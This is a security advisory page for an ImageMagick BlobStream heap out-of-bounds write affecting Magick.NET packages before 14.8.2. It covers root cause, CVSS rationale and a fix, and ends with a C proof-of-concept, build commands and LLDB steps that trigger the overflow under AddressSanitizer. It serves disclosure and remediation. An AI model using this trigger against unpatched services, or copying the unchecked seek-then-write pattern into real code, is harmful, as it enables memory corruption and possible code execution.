An open API service providing security vulnerability metadata for many open source software ecosystems.

GSA_kwCzR0hTQS0yM2hnLTUzcTYtaHFmZ84ABLxJ

ImageMagick BlobStream Forward-Seek Under-Allocation

Affected Packages Affected Versions Fixed Versions
nuget:Magick.NET-Q16-HDRI-arm64
PURL: pkg:nuget/Magick.NET-Q16-HDRI-arm64
< 14.8.2 14.8.2
0 Dependent packages
0 Dependent repositories
88,754 Downloads total

Affected Version Ranges

All affected versions

8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

14.8.2

nuget:Magick.NET-Q16-HDRI-OpenMP-arm64
PURL: pkg:nuget/Magick.NET-Q16-HDRI-OpenMP-arm64
< 14.8.2 14.8.2
0 Dependent packages
0 Dependent repositories
43,421 Downloads total

Affected Version Ranges

All affected versions

8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

nuget:Magick.NET-Q8-OpenMP-arm64
PURL: pkg:nuget/Magick.NET-Q8-OpenMP-arm64
< 14.8.2 14.8.2
0 Dependent packages
0 Dependent repositories
43,966 Downloads total

Affected Version Ranges

All affected versions

8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

nuget:Magick.NET-Q16-OpenMP-arm64
PURL: pkg:nuget/Magick.NET-Q16-OpenMP-arm64
< 14.8.2 14.8.2
0 Dependent packages
0 Dependent repositories
87,092 Downloads total

Affected Version Ranges

All affected versions

8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

14.8.2

nuget:Magick.NET-Q16-arm64
PURL: pkg:nuget/Magick.NET-Q16-arm64
< 14.8.2 14.8.2
0 Dependent packages
0 Dependent repositories
95,942 Downloads total

Affected Version Ranges

All affected versions

8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

14.8.2

nuget:Magick.NET-Q8-arm64
PURL: pkg:nuget/Magick.NET-Q8-arm64
< 14.8.2 14.8.2
0 Dependent packages
0 Dependent repositories
65,072 Downloads total

Affected Version Ranges

All affected versions

8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

nuget:Magick.NET-Q16-OpenMP-x64
PURL: pkg:nuget/Magick.NET-Q16-OpenMP-x64
< 14.8.2 14.8.2
0 Dependent packages
0 Dependent repositories
179,875 Downloads total

Affected Version Ranges

All affected versions

7.14.0, 7.14.1, 7.14.2, 7.14.3, 7.14.4, 7.14.5, 7.15.0, 7.15.1, 7.15.2, 7.15.3, 7.15.4, 7.15.5, 7.16.0, 7.16.1, 7.17.0, 7.18.0, 7.19.0, 7.20.0, 7.21.0, 7.21.1, 7.22.0, 7.22.1, 7.22.2, 7.22.3, 7.23.0, 7.23.1, 7.23.2, 7.23.3, 7.23.4, 7.24.0, 7.24.1, 8.0.0, 8.0.1, 8.1.0, 8.2.0, 8.2.1, 8.3.0, 8.3.1, 8.3.2, 8.3.3, 8.4.0, 8.5.0, 8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

nuget:Magick.NET-Q16-HDRI-OpenMP-x64
PURL: pkg:nuget/Magick.NET-Q16-HDRI-OpenMP-x64
< 14.8.2 14.8.2
0 Dependent packages
0 Dependent repositories
325,019 Downloads total

Affected Version Ranges

All affected versions

7.14.0, 7.14.1, 7.14.2, 7.14.3, 7.14.4, 7.14.5, 7.15.0, 7.15.1, 7.15.2, 7.15.3, 7.15.4, 7.15.5, 7.16.0, 7.16.1, 7.17.0, 7.18.0, 7.19.0, 7.20.0, 7.21.0, 7.21.1, 7.22.0, 7.22.1, 7.22.2, 7.22.3, 7.23.0, 7.23.1, 7.23.2, 7.23.3, 7.23.4, 7.24.0, 7.24.1, 8.0.0, 8.0.1, 8.1.0, 8.2.0, 8.2.1, 8.3.0, 8.3.1, 8.3.2, 8.3.3, 8.4.0, 8.5.0, 8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

14.8.2

nuget:Magick.NET-Q8-OpenMP-x64
PURL: pkg:nuget/Magick.NET-Q8-OpenMP-x64
< 14.8.2 14.8.2
0 Dependent packages
0 Dependent repositories
345,858 Downloads total

Affected Version Ranges

All affected versions

7.14.0, 7.14.1, 7.14.2, 7.14.3, 7.14.4, 7.14.5, 7.15.0, 7.15.1, 7.15.2, 7.15.3, 7.15.4, 7.15.5, 7.16.0, 7.16.1, 7.17.0, 7.18.0, 7.19.0, 7.20.0, 7.21.0, 7.21.1, 7.22.0, 7.22.1, 7.22.2, 7.22.3, 7.23.0, 7.23.1, 7.23.2, 7.23.3, 7.23.4, 7.24.0, 7.24.1, 8.0.0, 8.0.1, 8.1.0, 8.2.0, 8.2.1, 8.3.0, 8.3.1, 8.3.2, 8.3.3, 8.4.0, 8.5.0, 8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

nuget:Magick.NET-Q16-HDRI-x64
PURL: pkg:nuget/Magick.NET-Q16-HDRI-x64
< 14.8.2 14.8.2
1 Dependent packages
0 Dependent repositories
994,254 Downloads total

Affected Version Ranges

All affected versions

7.0.1, 7.0.3, 7.0.6, 7.0.7, 7.1.0, 7.2.0, 7.2.1, 7.3.0, 7.4.0, 7.4.1, 7.4.2, 7.4.3, 7.4.4, 7.4.5, 7.4.6, 7.5.0, 7.6.0, 7.7.0, 7.8.0, 7.9.0, 7.9.1, 7.9.2, 7.10.0, 7.10.1, 7.10.2, 7.11.0, 7.11.1, 7.12.0, 7.13.0, 7.13.1, 7.14.0, 7.14.1, 7.14.2, 7.14.3, 7.14.4, 7.14.5, 7.15.0, 7.15.1, 7.15.2, 7.15.3, 7.15.4, 7.15.5, 7.16.0, 7.16.1, 7.17.0, 7.18.0, 7.19.0, 7.20.0, 7.21.0, 7.21.1, 7.22.0, 7.22.1, 7.22.2, 7.22.3, 7.23.0, 7.23.1, 7.23.2, 7.23.3, 7.23.4, 7.24.0, 7.24.1, 8.0.0, 8.0.1, 8.1.0, 8.2.0, 8.2.1, 8.3.0, 8.3.1, 8.3.2, 8.3.3, 8.4.0, 8.5.0, 8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

14.8.2

nuget:Magick.NET-Q8-x64
PURL: pkg:nuget/Magick.NET-Q8-x64
< 14.8.2 14.8.2
5 Dependent packages
0 Dependent repositories
3,417,171 Downloads total

Affected Version Ranges

All affected versions

7.0.1, 7.0.3, 7.0.6, 7.0.7, 7.1.0, 7.2.0, 7.2.1, 7.3.0, 7.4.0, 7.4.1, 7.4.2, 7.4.3, 7.4.4, 7.4.5, 7.4.6, 7.5.0, 7.6.0, 7.7.0, 7.8.0, 7.9.0, 7.9.1, 7.9.2, 7.10.0, 7.10.1, 7.10.2, 7.11.0, 7.11.1, 7.12.0, 7.13.0, 7.13.1, 7.14.0, 7.14.1, 7.14.2, 7.14.3, 7.14.4, 7.14.5, 7.15.0, 7.15.1, 7.15.2, 7.15.3, 7.15.4, 7.15.5, 7.16.0, 7.16.1, 7.17.0, 7.18.0, 7.19.0, 7.20.0, 7.21.0, 7.21.1, 7.22.0, 7.22.1, 7.22.2, 7.22.3, 7.23.0, 7.23.1, 7.23.2, 7.23.3, 7.23.4, 7.24.0, 7.24.1, 8.0.0, 8.0.1, 8.1.0, 8.2.0, 8.2.1, 8.3.0, 8.3.1, 8.3.2, 8.3.3, 8.4.0, 8.5.0, 8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

14.8.2

nuget:Magick.NET-Q16-x64
PURL: pkg:nuget/Magick.NET-Q16-x64
< 14.8.2 14.8.2
3 Dependent packages
0 Dependent repositories
4,300,625 Downloads total

Affected Version Ranges

All affected versions

7.0.1, 7.0.3, 7.0.6, 7.0.7, 7.1.0, 7.2.0, 7.2.1, 7.3.0, 7.4.0, 7.4.1, 7.4.2, 7.4.3, 7.4.4, 7.4.5, 7.4.6, 7.5.0, 7.6.0, 7.7.0, 7.8.0, 7.9.0, 7.9.1, 7.9.2, 7.10.0, 7.10.1, 7.10.2, 7.11.0, 7.11.1, 7.12.0, 7.13.0, 7.13.1, 7.14.0, 7.14.1, 7.14.2, 7.14.3, 7.14.4, 7.14.5, 7.15.0, 7.15.1, 7.15.2, 7.15.3, 7.15.4, 7.15.5, 7.16.0, 7.16.1, 7.17.0, 7.18.0, 7.19.0, 7.20.0, 7.21.0, 7.21.1, 7.22.0, 7.22.1, 7.22.2, 7.22.3, 7.23.0, 7.23.1, 7.23.2, 7.23.3, 7.23.4, 7.24.0, 7.24.1, 8.0.0, 8.0.1, 8.1.0, 8.2.0, 8.2.1, 8.3.0, 8.3.1, 8.3.2, 8.3.3, 8.4.0, 8.5.0, 8.6.0, 8.6.1, 9.0.0, 9.1.0, 9.1.1, 9.1.2, 10.0.0, 10.1.0, 11.0.0, 11.1.0, 11.1.1, 11.1.2, 11.2.0, 11.2.1, 11.3.0, 12.0.0, 12.0.1, 12.1.0, 12.2.0, 12.2.1, 12.2.2, 12.3.0, 13.0.0, 13.0.1, 13.1.0, 13.1.1, 13.1.2, 13.1.3, 13.2.0, 13.3.0, 13.4.0, 13.5.0, 13.6.0, 13.7.0, 13.8.0, 13.9.0, 13.9.1, 13.10.0, 14.0.0, 14.1.0, 14.2.0, 14.3.0, 14.4.0, 14.5.0, 14.6.0, 14.7.0, 14.8.0, 14.8.1

All unaffected versions

14.8.2

Reporter: Lumina Mescuwa
Product: ImageMagick 7 (MagickCore)
Component: MagickCore/blob.c (Blob I/O - BlobStream)
Tested: 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI
Impact: Heap out-of-bounds WRITE (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution


Executive Summary

For memory-backed blobs (BlobStream), SeekBlob() permits advancing the stream offset beyond the current end without increasing capacity. The subsequent WriteBlob() then expands by quantum + length (amortized) instead of offset + length, and copies to data + offset. When offset ≫ extent, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required.


Affected Scope

  • Versions confirmed: 7.1.2-0, 7.1.2-1

  • Architectures: Observed on macOS arm64; architecture-agnostic on LP64

  • Paths: MagickCore blob subsystem — BlobStream (SeekBlob() and WriteBlob()).

  • Not required: External delegates; special policies; integer wraparound


Technical Root Cause

Types (LP64):
offset: MagickOffsetType (signed 64-bit)
extent/length/quantum: size_t (unsigned 64-bit)
data: unsigned char*

Contract mismatch:

  • SeekBlob() (BlobStream) updates offset to arbitrary positions, including past end, without capacity adjustment.

  • WriteBlob() tests offset + length >= extent and grows by length + quantum, doubles quantum, reallocates to extent + 1, then:

    q = data + (size_t)offset;
    memmove(q, src, length);
    

    There is no guarantee that extent ≥ offset + length post-growth. With offset ≫ extentq is beyond the allocation.

Wrap-free demonstration:
Initialize extent=1, write one byte (offset=1), seek to 0x10000000 (256 MiB), then write 3–4 bytes. Growth remains << offset + length; the copy overruns the heap buffer.


Exploitability & Reachability

  • Primitive: Controlled bytes written at a controlled displacement from the buffer base.

  • Reachability: Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract permits it, thus creating a latent sink for first- or third-party encoders/writers.

  • Determinism: Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.


Impact Assessment

  • Integrity: High - adjacent object/metadata overwrite plausible.

  • Availability: High - reliably crashable (ASan and non-ASan).

  • Confidentiality: High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.

  • RCE plausibility: Typical of heap OOB writes in long-lived image services; allocator/layout dependent.


CVSS v3.1 Rationale (9.8)

  • AV:N / PR:N / UI:N - server-side image processing is commonly network-reachable without auth or user action.

  • AC:L - a single forward seek + write suffices; no races or specialized state.

  • S:U - corruption localized to the ImageMagick process.

  • C:H / I:H / A:H - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).

Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics.


Violated Invariant

Before copying length bytes at offset, enforce extent ≥ offset + length with overflow-checked arithmetic.

The BlobStream growth policy preserves amortized efficiency but fails to enforce this per-write safety invariant.


Remediation (Principle)

In WriteBlob() (BlobStream case):

  1. Checked requirement:
    need = (size_t)offset + length; → if need < (size_t)offset, overflow → fail.

  2. Ensure capacity ≥ need:
    target = MagickMax(extent + quantum + length, need);
    (Optionally loop, doubling quantum, until extent ≥ need to preserve amortization.)

  3. Reallocate to target + 1 before copying; then perform the move.

Companion hardening (recommended):

  • Document or restrict SeekBlob() on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.

  • Centralize blob arithmetic in checked helpers.

  • Unit tests: forward-seek-then-write (success and overflow-reject).


Regression & Compatibility

  • Behavior change: Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).

  • Memory profile: Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.


Vendor Verification Checklist

  • Reproduce with a minimal in-memory BlobStream harness under ASan.

  • Apply fix; verify extent ≥ offset + length at all write sites.

  • Add forward-seek test cases (positive/negative).

  • Audit other growth sites (SetBlobExtent, stream helpers).

  • Clarify BlobStream seek semantics in documentation.

  • Unit test: forward seek to large offset on BlobStream followed by 1–8 byte writes; assert either growth to need or clean failure.


PoC / Reproduction / Notes

Environment

  • OS/Arch: macOS 14 (arm64)

  • Compiler: clang-17 with AddressSanitizer

  • ImageMagick: Q16-HDRI

  • Prefix: ~/opt/im-7.1.2-0

  • pkg-config: from PATH (no hard-coded /usr/local/...)


Build ImageMagick 7.1.2-0 (static, minimal)

./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \
  --disable-shared --enable-static --without-modules \
  --without-magick-plus-plus --disable-openmp --without-perl \
  --without-x --without-lqr --without-gslib

make -j"$(sysctl -n hw.ncpu)"
make install

"$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt

Build & Run the PoC (memory-backed BlobStream)

poc.c:
Uses private headers (blob-private.h) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage.

// poc.c

#include <stdio.h>

#include <stdlib.h>

#include <MagickCore/MagickCore.h>

#include <MagickCore/blob.h>

#include "MagickCore/blob-private.h"

  

int main(int argc, char **argv) {

MagickCoreGenesis(argv[0], MagickTrue);

ExceptionInfo *e = AcquireExceptionInfo();

ImageInfo *ii = AcquireImageInfo();

Image *im = AcquireImage(ii, e);

if (!im) return 1;

  

// 1-byte memory blob → BlobStream

unsigned char *buf = (unsigned char*) malloc(1);

buf[0] = 0x41;

AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0

SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf

  

// Step 1: write 1 byte (creates BlobInfo + sets offset=1)

unsigned char A = 0x42;

(void) WriteBlob(im, 1, &A);

fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));

  

// Step 2: seek way past end without growing capacity

const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB

(void) SeekBlob(im, big, SEEK_SET);

fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));

  

// Step 3: small write → reallocation grows by quantum+length, not to offset+length

// memcpy then writes to data + offset (OOB)

const unsigned char payload[] = "PWN";

(void) WriteBlob(im, sizeof(payload), payload);

  

// If we get here, it didn't crash

fprintf(stderr, "[-] no crash; check ASan flags.\n");

  

(void) CloseBlob(im);

DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);

MagickCoreTerminus();

return 0;

}

run:

# Use the private prefix for pkg-config
export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH"

# Strict ASan for crisp failure
export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'

# Compile (static link pulls transitive deps via --static)
clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \
  $(pkg-config --cflags MagickCore-7.Q16HDRI) \
  $(pkg-config --static --libs MagickCore-7.Q16HDRI)

# Execute and capture
./poc 2>&1 | tee asan.log

Expected markers prior to the fault:

[+] after 1 byte: off=1 len=1
[+] after seek:  off=268435456 len=1

An ASan WRITE crash in WriteBlob follows (top frames: WriteBlob blob.c:<line>, then _platform_memmove / __sanitizer_internal_memmove).


Debugger Verification (manual)

LLDB can be used to snapshot the invariants; ASan alone is sufficient.

lldb ./poc
(lldb) settings set use-color false
(lldb) break set -n WriteBlob
(lldb) run

# First stop (prime write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) continue

# Second stop (post-seek write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length
(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)

# Into the fault; if inside memmove (no locals):
(lldb) bt
(lldb) frame select 1
(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum

Expected at second stop:
type = BlobStream · offset ≈ 0x10000000 (256 MiB) · length ≈ 3–4 · extent ≈ 64 KiB (≪ offset + length) · quantum ≈ 128 KiB · mapped = MagickFalse · data + offset far beyond base; next continue crashes in _platform_memmove.


Credits

Reported by: Lumina Mescuwa


References: